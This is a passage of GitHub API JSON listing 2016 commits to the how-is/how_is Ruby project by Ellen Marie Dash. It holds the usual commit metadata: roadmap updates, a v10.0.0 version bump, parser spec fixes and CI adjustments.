om/repos/how-is/how_is/commits/d927835a43df495da52bdb181889dd1d5c7a7b85","html_url":"https://github.com/how-is/how_is/commit/d927835a43df495da52bdb181889dd1d5c7a7b85"}]},{"sha":"d927835a43df495da52bdb181889dd1d5c7a7b85","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDkyNzgzNWE0M2RmNDk1ZGE1MmJkYjE4MTg4OWRkMWQ1YzdhN2I4NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-02T02:27:57Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-02T02:27:57Z"},"message":"Update roadmap.markdown","tree":{"sha":"77ffa0e53afa89540b3608f4b49ea1dfea923745","url":"https://api.github.com/repos/how-is/how_is/git/trees/77ffa0e53afa89540b3608f4b49ea1dfea923745"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d927835a43df495da52bdb181889dd1d5c7a7b85","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d927835a43df495da52bdb181889dd1d5c7a7b85","html_url":"https://github.com/how-is/how_is/commit/d927835a43df495da52bdb181889dd1d5c7a7b85","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d927835a43df495da52bdb181889dd1d5c7a7b85/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"42b37066eb130c46c6ea5f3e603a54887315a29a","url":"https://api.github.com/repos/how-is/how_is/commits/42b37066eb130c46c6ea5f3e603a54887315a29a","html_url":"https://github.com/how-is/how_is/commit/42b37066eb130c46c6ea5f3e603a54887315a29a"}]},{"sha":"42b37066eb130c46c6ea5f3e603a54887315a29a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDJiMzcwNjZlYjEzMGM0NmM2ZWE1ZjNlNjAzYTU0ODg3MzE1YTI5YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-02T02:19:02Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-02T02:19:02Z"},"message":"Update roadmap.markdown","tree":{"sha":"c0e4240552f379a58d1103766e92538b99122b51","url":"https://api.github.com/repos/how-is/how_is/git/trees/c0e4240552f379a58d1103766e92538b99122b51"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/42b37066eb130c46c6ea5f3e603a54887315a29a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/42b37066eb130c46c6ea5f3e603a54887315a29a","html_url":"https://github.com/how-is/how_is/commit/42b37066eb130c46c6ea5f3e603a54887315a29a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/42b37066eb130c46c6ea5f3e603a54887315a29a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c68bcddc3f2705dd1dda1ef7edad687b1fe9078f","url":"https://api.github.com/repos/how-is/how_is/commits/c68bcddc3f2705dd1dda1ef7edad687b1fe9078f","html_url":"https://github.com/how-is/how_is/commit/c68bcddc3f2705dd1dda1ef7edad687b1fe9078f"}]},{"sha":"c68bcddc3f2705dd1dda1ef7edad687b1fe9078f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzY4YmNkZGMzZjI3MDVkZDFkZGExZWY3ZWRhZDY4N2IxZmU5MDc4Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-02T02:17:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-09-02T02:17:52Z"},"message":"Merge pull request #46 from how-is/roadmap\n\nNew roadmap.","tree":{"sha":"a09fbada7ee7a6c5a9bba4a542169742f7c487e7","url":"https://api.github.com/repos/how-is/how_is/git/trees/a09fbada7ee7a6c5a9bba4a542169742f7c487e7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c68bcddc3f2705dd1dda1ef7edad687b1fe9078f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c68bcddc3f2705dd1dda1ef7edad687b1fe9078f","html_url":"https://github.com/how-is/how_is/commit/c68bcddc3f2705dd1dda1ef7edad687b1fe9078f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c68bcddc3f2705dd1dda1ef7edad687b1fe9078f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0e9f7e6f2afd706c04546b7b2304a95e7c528d38","url":"https://api.github.com/repos/how-is/how_is/commits/0e9f7e6f2afd706c04546b7b2304a95e7c528d38","html_url":"https://github.com/how-is/how_is/commit/0e9f7e6f2afd706c04546b7b2304a95e7c528d38"},{"sha":"537e18a3e3a8a7e2c1d9874a98e6e6a69322455e","url":"https://api.github.com/repos/how-is/how_is/commits/537e18a3e3a8a7e2c1d9874a98e6e6a69322455e","html_url":"https://github.com/how-is/how_is/commit/537e18a3e3a8a7e2c1d9874a98e6e6a69322455e"}]},{"sha":"537e18a3e3a8a7e2c1d9874a98e6e6a69322455e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTM3ZTE4YTNlM2E4YTdlMmMxZDk4NzRhOThlNmU2YTY5MzIyNDU1ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-02T02:10:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-02T02:13:00Z"},"message":"New roadmap.","tree":{"sha":"a09fbada7ee7a6c5a9bba4a542169742f7c487e7","url":"https://api.github.com/repos/how-is/how_is/git/trees/a09fbada7ee7a6c5a9bba4a542169742f7c487e7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/537e18a3e3a8a7e2c1d9874a98e6e6a69322455e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/537e18a3e3a8a7e2c1d9874a98e6e6a69322455e","html_url":"https://github.com/how-is/how_is/commit/537e18a3e3a8a7e2c1d9874a98e6e6a69322455e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/537e18a3e3a8a7e2c1d9874a98e6e6a69322455e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0e9f7e6f2afd706c04546b7b2304a95e7c528d38","url":"https://api.github.com/repos/how-is/how_is/commits/0e9f7e6f2afd706c04546b7b2304a95e7c528d38","html_url":"https://github.com/how-is/how_is/commit/0e9f7e6f2afd706c04546b7b2304a95e7c528d38"}]},{"sha":"0e9f7e6f2afd706c04546b7b2304a95e7c528d38","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGU5ZjdlNmYyYWZkNzA2YzA0NTQ2YjdiMjMwNGE5NWU3YzUyOGQzOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-01T03:49:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-09-01T03:49:57Z"},"message":"Version bump. (v10.0.0)","tree":{"sha":"3fe7b6688bedce8d0636df0dccc9b45e646c93c2","url":"https://api.github.com/repos/how-is/how_is/git/trees/3fe7b6688bedce8d0636df0dccc9b45e646c93c2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0e9f7e6f2afd706c04546b7b2304a95e7c528d38","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0e9f7e6f2afd706c04546b7b2304a95e7c528d38","html_url":"https://github.com/how-is/how_is/commit/0e9f7e6f2afd706c04546b7b2304a95e7c528d38","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0e9f7e6f2afd706c04546b7b2304a95e7c528d38/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"767b1ec6500b9538e91867fd6105b4dbbd5fdbb1","url":"https://api.github.com/repos/how-is/how_is/commits/767b1ec6500b9538e91867fd6105b4dbbd5fdbb1","html_url":"https://github.com/how-is/how_is/commit/767b1ec6500b9538e91867fd6105b4dbbd5fdbb1"}]},{"sha":"767b1ec6500b9538e91867fd6105b4dbbd5fdbb1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzY3YjFlYzY1MDBiOTUzOGU5MTg2N2ZkNjEwNWI0ZGJiZDVmZGJiMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-28T09:11:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-28T09:11:09Z"},"message":"Update README.md.","tree":{"sha":"c8245ffae1cbc33f5e1f6b0bdbae69e8c1e4b7a7","url":"https://api.github.com/repos/how-is/how_is/git/trees/c8245ffae1cbc33f5e1f6b0bdbae69e8c1e4b7a7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/767b1ec6500b9538e91867fd6105b4dbbd5fdbb1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/767b1ec6500b9538e91867fd6105b4dbbd5fdbb1","html_url":"https://github.com/how-is/how_is/commit/767b1ec6500b9538e91867fd6105b4dbbd5fdbb1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/767b1ec6500b9538e91867fd6105b4dbbd5fdbb1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ef2754a0a41d930b6bd102e65c53eeeadf911b1a","url":"https://api.github.com/repos/how-is/how_is/commits/ef2754a0a41d930b6bd102e65c53eeeadf911b1a","html_url":"https://github.com/how-is/how_is/commit/ef2754a0a41d930b6bd102e65c53eeeadf911b1a"}]},{"sha":"ef2754a0a41d930b6bd102e65c53eeeadf911b1a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWYyNzU0YTBhNDFkOTMwYjZiZDEwMmU2NWM1M2VlZWFkZjkxMWIxYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-28T09:05:12Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-28T09:05:12Z"},"message":"Add link to Bundler''s slack.","tree":{"sha":"47d2cc0ae17346bd6ff3a8212a3f50a08afae16d","url":"https://api.github.com/repos/how-is/how_is/git/trees/47d2cc0ae17346bd6ff3a8212a3f50a08afae16d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ef2754a0a41d930b6bd102e65c53eeeadf911b1a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ef2754a0a41d930b6bd102e65c53eeeadf911b1a","html_url":"https://github.com/how-is/how_is/commit/ef2754a0a41d930b6bd102e65c53eeeadf911b1a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ef2754a0a41d930b6bd102e65c53eeeadf911b1a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"998924e42c92cb5b24dcab81d41c437b8f05499d","url":"https://api.github.com/repos/how-is/how_is/commits/998924e42c92cb5b24dcab81d41c437b8f05499d","html_url":"https://github.com/how-is/how_is/commit/998924e42c92cb5b24dcab81d41c437b8f05499d"}]},{"sha":"998924e42c92cb5b24dcab81d41c437b8f05499d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTk4OTI0ZTQyYzkyY2I1YjI0ZGNhYjgxZDQxYzQzN2I4ZjA1NDk5ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:49:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-26T20:49:45Z"},"message":"Merge pull request #43 from how-is/parser-specs\n\nParser specs","tree":{"sha":"75a55830aeafb8a2868277caba7b95fd44e8d26f","url":"https://api.github.com/repos/how-is/how_is/git/trees/75a55830aeafb8a2868277caba7b95fd44e8d26f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/998924e42c92cb5b24dcab81d41c437b8f05499d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/998924e42c92cb5b24dcab81d41c437b8f05499d","html_url":"https://github.com/how-is/how_is/commit/998924e42c92cb5b24dcab81d41c437b8f05499d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/998924e42c92cb5b24dcab81d41c437b8f05499d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8cff75d7a93e2298c289185085bac0eb803b93d4","url":"https://api.github.com/repos/how-is/how_is/commits/8cff75d7a93e2298c289185085bac0eb803b93d4","html_url":"https://github.com/how-is/how_is/commit/8cff75d7a93e2298c289185085bac0eb803b93d4"},{"sha":"21564897e07590dcdf0a9ee4dec8e90dddb67ff7","url":"https://api.github.com/repos/how-is/how_is/commits/21564897e07590dcdf0a9ee4dec8e90dddb67ff7","html_url":"https://github.com/how-is/how_is/commit/21564897e07590dcdf0a9ee4dec8e90dddb67ff7"}]},{"sha":"21564897e07590dcdf0a9ee4dec8e90dddb67ff7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjE1NjQ4OTdlMDc1OTBkY2RmMGE5ZWU0ZGVjOGU5MGRkZGI2N2ZmNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:46:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:46:19Z"},"message":"Apparently Travis doesn''t have access to bundler 1.12 for some reason.","tree":{"sha":"75a55830aeafb8a2868277caba7b95fd44e8d26f","url":"https://api.github.com/repos/how-is/how_is/git/trees/75a55830aeafb8a2868277caba7b95fd44e8d26f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/21564897e07590dcdf0a9ee4dec8e90dddb67ff7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/21564897e07590dcdf0a9ee4dec8e90dddb67ff7","html_url":"https://github.com/how-is/how_is/commit/21564897e07590dcdf0a9ee4dec8e90dddb67ff7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/21564897e07590dcdf0a9ee4dec8e90dddb67ff7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ae338bd600bfb5f94d575608cb0eed83091e36b4","url":"https://api.github.com/repos/how-is/how_is/commits/ae338bd600bfb5f94d575608cb0eed83091e36b4","html_url":"https://github.com/how-is/how_is/commit/ae338bd600bfb5f94d575608cb0eed83091e36b4"}]},{"sha":"ae338bd600bfb5f94d575608cb0eed83091e36b4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWUzMzhiZDYwMGJmYjVmOTRkNTc1NjA4Y2IwZWVkODMwOTFlMzZiNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:42:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:42:46Z"},"message":"Fix CLI::Parser spec.","tree":{"sha":"ec6861a5aaa47fb2de0e4d73c931264515b068a4","url":"https://api.github.com/repos/how-is/how_is/git/trees/ec6861a5aaa47fb2de0e4d73c931264515b068a4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ae338bd600bfb5f94d575608cb0eed83091e36b4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ae338bd600bfb5f94d575608cb0eed83091e36b4","html_url":"https://github.com/how-is/how_is/commit/ae338bd600bfb5f94d575608cb0eed83091e36b4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ae338bd600bfb5f94d575608cb0eed83091e36b4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url"